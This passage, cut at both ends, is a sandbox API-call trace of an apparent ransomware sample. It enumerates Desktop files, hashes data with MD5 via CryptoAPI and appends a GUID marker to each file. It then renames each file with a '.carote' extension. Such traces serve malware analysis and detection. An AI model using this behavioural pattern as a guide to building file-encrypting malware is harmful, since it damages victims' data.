dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.959] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.959] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.959] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.959] GetLastError () returned 0x0 [0111.959] SetLastError (dwErrCode=0x0) [0111.959] GetLastError () returned 0x0 [0111.959] SetLastError (dwErrCode=0x0) [0111.959] GetLastError () returned 0x0 [0111.959] SetLastError (dwErrCode=0x0) [0111.959] GetLastError () returned 0x0 [0111.959] SetLastError (dwErrCode=0x0) [0111.959] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] GetLastError () returned 0x0 [0111.960] SetLastError (dwErrCode=0x0) [0111.960] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.960] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0111.962] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x72200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.962] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.962] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.962] CloseHandle (hObject=0x61c) returned 1 [0111.968] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe.carote")) returned 1 [0111.969] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f87cb0, ftCreationTime.dwHighDateTime=0x1d4c810, ftLastAccessTime.dwLowDateTime=0x12f326a0, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0x12f326a0, ftLastWriteTime.dwHighDateTime=0x1d4d262, nFileSizeHigh=0x0, nFileSizeLow=0xf9ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B7UgNIfW.swf", cAlternateFileName="")) returned 1 [0111.969] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B7UgNIfW.swf") returned=".swf" [0111.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B7UgNIfW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b7ugnifw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.969] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=63999) returned 1 [0111.969] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.971] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf9d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.971] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.972] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xf9ff, lpOverlapped=0x0) returned 1 [0111.973] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.973] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.973] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.973] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0111.974] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.974] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.974] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.974] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.974] GetLastError () returned 0x0 [0111.974] SetLastError (dwErrCode=0x0) [0111.974] GetLastError () returned 0x0 [0111.974] SetLastError (dwErrCode=0x0) [0111.974] GetLastError () returned 0x0 [0111.974] SetLastError (dwErrCode=0x0) [0111.974] GetLastError () returned 0x0 [0111.975] SetLastError (dwErrCode=0x0) [0111.975] GetLastError () returned 0x0 [0111.975] SetLastError (dwErrCode=0x0) [0111.975] GetLastError () returned 0x0 [0111.975] SetLastError (dwErrCode=0x0) [0111.975] GetLastError () returned 0x0 [0111.975] SetLastError (dwErrCode=0x0) [0111.975] GetLastError () returned 0x0 [0111.975] SetLastError (dwErrCode=0x0) [0111.975] GetLastError () returned 0x0 [0111.975] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.975] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0111.975] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf9ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.975] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.975] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.976] CloseHandle (hObject=0x61c) returned 1 [0111.976] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B7UgNIfW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b7ugnifw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B7UgNIfW.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b7ugnifw.swf.carote")) returned 1 [0111.978] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4498c320, ftCreationTime.dwHighDateTime=0x1d4cb3e, ftLastAccessTime.dwLowDateTime=0x24783a80, ftLastAccessTime.dwHighDateTime=0x1d4c558, ftLastWriteTime.dwLowDateTime=0x24783a80, ftLastWriteTime.dwHighDateTime=0x1d4c558, nFileSizeHigh=0x0, nFileSizeLow=0x3ef2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOm6MV3rA.png", cAlternateFileName="BOM6MV~1.PNG")) returned 1 [0111.978] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BOm6MV3rA.png") returned=".png" [0111.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BOm6MV3rA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bom6mv3ra.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.978] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=16114) returned 1 [0111.978] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.979] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3ecc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.980] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.980] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x3ef2, lpOverlapped=0x0) returned 1 [0111.980] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.980] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.980] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.980] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0111.981] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.981] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.981] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.981] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.981] GetLastError () returned 0x0 [0111.981] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.981] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0111.982] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3ef2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.982] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.982] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.982] CloseHandle (hObject=0x61c) returned 1 [0111.982] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BOm6MV3rA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bom6mv3ra.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BOm6MV3rA.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bom6mv3ra.png.carote")) returned 1 [0111.984] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6c7e470, ftCreationTime.dwHighDateTime=0x1d4cfe6, ftLastAccessTime.dwLowDateTime=0xfbab38e0, ftLastAccessTime.dwHighDateTime=0x1d4cf76, ftLastWriteTime.dwLowDateTime=0xfbab38e0, ftLastWriteTime.dwHighDateTime=0x1d4cf76, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c4 j8.swf", cAlternateFileName="C4J8~1.SWF")) returned 1 [0111.984] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c4 j8.swf") returned=".swf" [0111.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c4 j8.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4 j8.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.984] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=4718) returned 1 [0111.984] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.986] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1248, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.986] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.987] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x126e, lpOverlapped=0x0) returned 1 [0111.988] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.988] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.988] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.988] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0111.989] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.989] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.989] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.989] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.989] GetLastError () returned 0x0 [0111.989] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.989] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0111.989] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x126e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.989] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.989] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.989] CloseHandle (hObject=0x61c) returned 1 [0111.990] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c4 j8.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4 j8.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c4 j8.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4 j8.swf.carote")) returned 1 [0111.991] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b0eab0, ftCreationTime.dwHighDateTime=0x1d4d237, ftLastAccessTime.dwLowDateTime=0x65516750, ftLastAccessTime.dwHighDateTime=0x1d4c974, ftLastWriteTime.dwLowDateTime=0x65516750, ftLastWriteTime.dwHighDateTime=0x1d4c974, nFileSizeHigh=0x0, nFileSizeLow=0x1014a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D 65.bmp", cAlternateFileName="D65~1.BMP")) returned 1 [0111.991] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D 65.bmp") returned=".bmp" [0111.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D 65.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d 65.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.991] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=65866) returned 1 [0111.991] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.993] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.993] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.994] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1014a, lpOverlapped=0x0) returned 1 [0111.995] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.995] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.995] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.995] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0111.996] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.996] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.996] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.996] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.996] GetLastError () returned 0x0 [0111.996] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.996] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0111.996] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1014a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.997] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.997] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.997] CloseHandle (hObject=0x61c) returned 1 [0111.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D 65.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d 65.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D 65.bmp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d 65.bmp.carote")) returned 1 [0112.007] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0112.007] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb050ce0, ftCreationTime.dwHighDateTime=0x1d4cbfe, ftLastAccessTime.dwLowDateTime=0xce740f60, ftLastAccessTime.dwHighDateTime=0x1d4d33f, ftLastWriteTime.dwLowDateTime=0xce740f60, ftLastWriteTime.dwHighDateTime=0x1d4d33f, nFileSizeHigh=0x0, nFileSizeLow=0x8d90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e6-BA 49wurXcsu-1.mp3", cAlternateFileName="E6-BA4~1.MP3")) returned 1 [0112.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e6-BA 49wurXcsu-1.mp3") returned=".mp3" [0112.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e6-BA 49wurXcsu-1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e6-ba 49wurxcsu-1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.008] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=36240) returned 1 [0112.008] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.009] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8d6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.009] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.010] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x8d90, lpOverlapped=0x0) returned 1 [0112.011] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.011] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.011] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.011] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.012] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.012] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.012] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.012] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.012] GetLastError () returned 0x0 [0112.012] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.012] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.012] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8d90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.012] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.012] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.013] CloseHandle (hObject=0x61c) returned 1 [0112.014] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e6-BA 49wurXcsu-1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e6-ba 49wurxcsu-1.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e6-BA 49wurXcsu-1.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e6-ba 49wurxcsu-1.mp3.carote")) returned 1 [0112.015] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ddff50, ftCreationTime.dwHighDateTime=0x1d4d374, ftLastAccessTime.dwLowDateTime=0x568e4ed0, ftLastAccessTime.dwHighDateTime=0x1d4d23a, ftLastWriteTime.dwLowDateTime=0x568e4ed0, ftLastWriteTime.dwHighDateTime=0x1d4d23a, nFileSizeHigh=0x0, nFileSizeLow=0xc9c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FVqwxtFUoI.ots", cAlternateFileName="FVQWXT~1.OTS")) returned 1 [0112.015] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FVqwxtFUoI.ots") returned=".ots" [0112.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FVqwxtFUoI.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fvqwxtfuoi.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.015] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=51654) returned 1 [0112.015] 